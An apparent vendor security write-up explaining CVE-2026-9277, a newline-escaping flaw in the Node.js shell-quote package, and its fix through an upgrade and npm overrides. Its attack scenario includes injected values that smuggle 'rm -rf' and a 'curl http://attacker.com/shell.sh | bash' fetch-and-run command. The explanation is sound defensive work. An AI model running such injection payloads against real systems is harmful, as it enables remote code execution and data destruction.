How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It
Vulnerability at a Glance
| Field | Detail |
|---|---|
| CVE | CVE-2026-9277 |
| Severity | Critical |
| Package | shell-quote |
| Affected version | 1.8.3 |
| Fixed version | 1.9.0 |
| CWE | CWE-78 — OS Command Injection |
| Detected by | Trivy |
Introduction
The docs-site/package-lock.json file in this Docusaurus-based documentation project quietly carried a critical time bomb: shell-quote version 1.8.3, a transitive dependency pulled in through the @docusaurus ecosystem. On its own, a documentation site might seem like an unlikely target for command injection — but shell-quote is a foundational utility used across the Node.js ecosystem to safely construct shell command strings from user-supplied arguments. When that utility fails to escape special characters, the blast radius extends to every tool in the dependency tree that relies on it.
CVE-2026-9277 reveals exactly this failure: shell-quote 1.8.3 does not escape line terminator characters (\n and \r) when quoting shell arguments. An attacker who can influence input flowing through this library can break out of a quoted argument and inject arbitrary shell commands — silently, on a new line, where many security checks never look.
The Vulnerability Explained
What shell-quote Is Supposed to Do
The shell-quote package provides two core functions:
- quote(args) — Takes an array of strings and returns a single, safely shell-escaped string suitable for passing to a shell.
- parse(cmd) — Parses a shell command string back into tokens.
The library is widely used in build tools, task runners, and CLI utilities to safely interpolate user-provided values into shell commands. The contract is simple: after calling quote(), the output should be safe to pass to a shell regardless of what characters the input contains.
The Flaw: Line Terminators Slip Through
In version 1.8.3, the quoting logic correctly handles many special characters — spaces, quotes, semicolons, backticks — but fails to escape newline (\n) and carriage return (\r) characters. This is the vulnerable behavior:
// shell-quote 1.8.3 — vulnerable behavior
const quote = require('shell-quote').quote;
// Attacker-controlled input containing a newline
const userInput = "safe-value\nrm -rf /tmp/important";
const cmd = quote(['myprogram', userInput]);
// Output: "myprogram 'safe-value\nrm -rf /tmp/important'"
// When passed to a shell, the newline terminates the first command
// and 'rm -rf /tmp/important' executes as a separate command
The shell interprets a newline as a command separator, identical to a semicolon. Even though the value is wrapped in single quotes in some contexts, the unescaped \n causes the shell to treat everything after it as a new, independent command.
A Concrete Attack Scenario
Consider a Node.js build script in the documentation site that uses shell-quote to construct a command from a configuration value — for example, a plugin option that specifies a post-processing script name:
const { quote } = require('shell-quote');
const { execSync } = require('child_process');
// pluginName comes from a config file or environment variable
function runPlugin(pluginName) {
const cmd = quote(['node', 'scripts/run-plugin.js', pluginName]);
execSync(cmd, { shell: true });
}
// Attacker supplies:
runPlugin("myplugin\ncurl http://attacker.com/shell.sh | bash");
With shell-quote 1.8.3, the resulting command string is:
node scripts/run-plugin.js 'myplugin
curl http://attacker.com/shell.sh | bash'
The shell sees two commands separated by a newline and executes both. The attacker achieves remote code execution by injecting a newline character — a value that many input validation routines never think to check.
Why This Is Critical in a Docusaurus Dependency Tree
Even though this is a documentation site, the Docusaurus build pipeline invokes numerous shell operations during asset compilation, plugin execution, and MDX processing. Any point in that pipeline where externally influenced data (environment variables, config file values, file paths from the filesystem) passes through shell-quote becomes an exploitation vector.
The Fix
What Changed
The fix involves two coordinated changes across docs-site/package-lock.json and docs-site/package.json.
1. package-lock.json — Upgrading the Resolved Version
"node_modules/shell-quote": {
- "version": "1.8.3",
- "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz",
- "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==",
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.9.0.tgz",
+ "integrity": "sha512-Iov+JwFv/2HcTpcwNMKd8+IWNb8tboQJNQTkAY/LLVK7gGH9jy+LGkVqPxfekHl+yMmiqXszdGWXgkfml7hjqA==",
"license": "MIT",
"engines": {
"node": ">= 0.4"
This updates the resolved package from 1.8.3 to 1.9.0. Version 1.9.0 adds proper escaping for \n and \r characters, ensuring that line terminators are neutralized before they can reach a shell interpreter.
2. package.json — Pinning with an Override
+ "overrides": {
+ "shell-quote": "1.9.0"
+ }
This is the critical second step. Because shell-quote is a transitive dependency — not directly declared by the docs-site but pulled in by @docusaurus packages — simply updating the lock file is not durable. The next npm install could re-resolve shell-quote to any version that satisfies the upstream range, potentially re-introducing 1.8.3.
The "overrides" field in package.json forces npm to resolve all instances of shell-quote in the dependency tree — direct or transitive — to exactly version 1.9.0. This is the npm-native equivalent of Yarn's "resolutions" field.
3. Bonus: Pinning the Mermaid Theme Version
-"@docusaurus/theme-mermaid": "^3.9.2",
+"@docusaurus/theme-mermaid": "3.9.2",
The caret (^) in the original allowed npm to resolve @docusaurus/theme-mermaid to any compatible minor or patch release, which could introduce new transitive dependencies including vulnerable versions of shell-quote. Pinning to the exact version 3.9.2 removes this variability and ensures the dependency tree remains deterministic.
How Version 1.9.0 Fixes the Escape Logic
In shell-quote 1.9.0, the quote() function now includes line terminators in its set of characters requiring special handling. Newline and carriage return characters are either escaped or cause the surrounding argument to be handled in a way that prevents shell interpretation as a command separator. The result:
// shell-quote 1.9.0 — patched behavior
const quote = require('shell-quote').quote;
const userInput = "safe-value\nrm -rf /tmp/important";
const cmd = quote(['myprogram', userInput]);
// Output: a properly escaped string where \n cannot act as a command separator
// The injected command never reaches the shell as a separate instruction
Prevention & Best Practices
1. Prefer execFile() Over exec() for Shell Commands
The root cause of shell injection vulnerabilities is passing untrusted data through a shell interpreter. Node.js's child_process.execFile() bypasses the shell entirely, passing arguments directly to the OS:
// Vulnerable pattern
const { exec } = require('child_process');
exec(`myprogram ${userInput}`); // Shell interprets userInput
// Safe pattern
const { execFile } = require('child_process');
execFile('myprogram', [userInput]); // No shell involved, no injection possible
2. Always Pin Transitive Dependencies That Handle Security-Sensitive Operations
Any npm package that touches shell execution, file paths, or cryptography should be pinned explicitly. Use "overrides" (npm 8.3+) or "resolutions" (Yarn) to enforce specific versions:
{
"overrides": {
"shell-quote": "1.9.0",
"minimist": "1.2.8"
}
}
3. Integrate Vulnerability Scanning into CI/CD
Add Trivy, npm audit, or Snyk to your CI pipeline to catch vulnerable transitive dependencies before they reach production:
# Example GitHub Actions step
- name: Run Trivy vulnerability scanner
uses: aquasecurity/trivy-action@master
with:
scan-type: 'fs'
scan-ref: '.'
severity: 'CRITICAL,HIGH'
exit-code: '1'
4. Validate and Reject Newline Characters in All User Inputs
Even with a patched shell-quote, defense-in-depth means validating inputs before they reach any shell-adjacent code:
function sanitizeForShell(input) {
if (/[\n\r]/.test(input)) {
throw new Error('Input contains illegal line terminator characters');
}
return input;
}
5. Reference Security Standards
- OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP Top 10 A03:2021: Injection — command injection is a primary sub-category
Key Takeaways
- Unescaped
\nand\rcharacters in shell-quote 1.8.3 are command separators, not harmless whitespace — any input containing them can inject a second shell command after the newline. - Updating
package-lock.jsonalone is not enough for transitive dependencies; the"overrides"field inpackage.jsonis required to make the fix durable across futurenpm installruns. - The
^semver prefix on@docusaurus/theme-mermaidwas a hidden risk — removing it prevents future npm resolutions from silently pulling in vulnerable transitive dependencies. - Documentation sites are not immune to command injection — any Node.js build pipeline that processes external input (config files, environment variables, file paths) through shell utilities is a potential target.
- shell-quote is a foundational security primitive: when it fails, every tool in the ecosystem that relies on it for safe command construction inherits the vulnerability.
How Orbis AppSec Detected This
- Source: Externally influenced input (configuration values, environment variables, file paths) flowing into shell-quote's
quote()function during the Docusaurus build pipeline. - Sink: Any call to
shell-quote'squote()function innode_modules/shell-quoteversion 1.8.3, which is resolved as a transitive dependency indocs-site/package-lock.json. - Missing control: The
quote()function in version 1.8.3 lacked escaping logic for line terminator characters (\n,\r), allowing them to pass through unmodified and act as shell command separators. - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
- Fix: shell-quote was upgraded from 1.8.3 to 1.9.0 in
package-lock.json, and a"overrides": { "shell-quote": "1.9.0" }entry was added topackage.jsonto pin the patched version across the full dependency tree.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CVE-2026-9277 is a reminder that command injection vulnerabilities don't always announce themselves with obvious exec(userInput) patterns. Sometimes the danger hides in a transitive dependency three levels deep in your lock file — a utility trusted to make shell operations safe, quietly failing at the one character class it should never have overlooked.
The fix here is precise and instructive: upgrade shell-quote to 1.9.0, pin the version with "overrides" so npm can't drift back to a vulnerable resolution, and remove the semver flexibility that allowed the vulnerable version to sneak in as a transitive dependency in the first place. Each of these three changes addresses a different layer of the problem — the vulnerability itself, the dependency resolution mechanism, and the version range permissiveness that created the exposure.
For Node.js developers, this case underscores a principle worth internalizing: any package that sits on the boundary between user input and shell execution is a security-critical dependency, and it deserves the same pinning, auditing, and upgrade discipline you'd apply to your authentication library.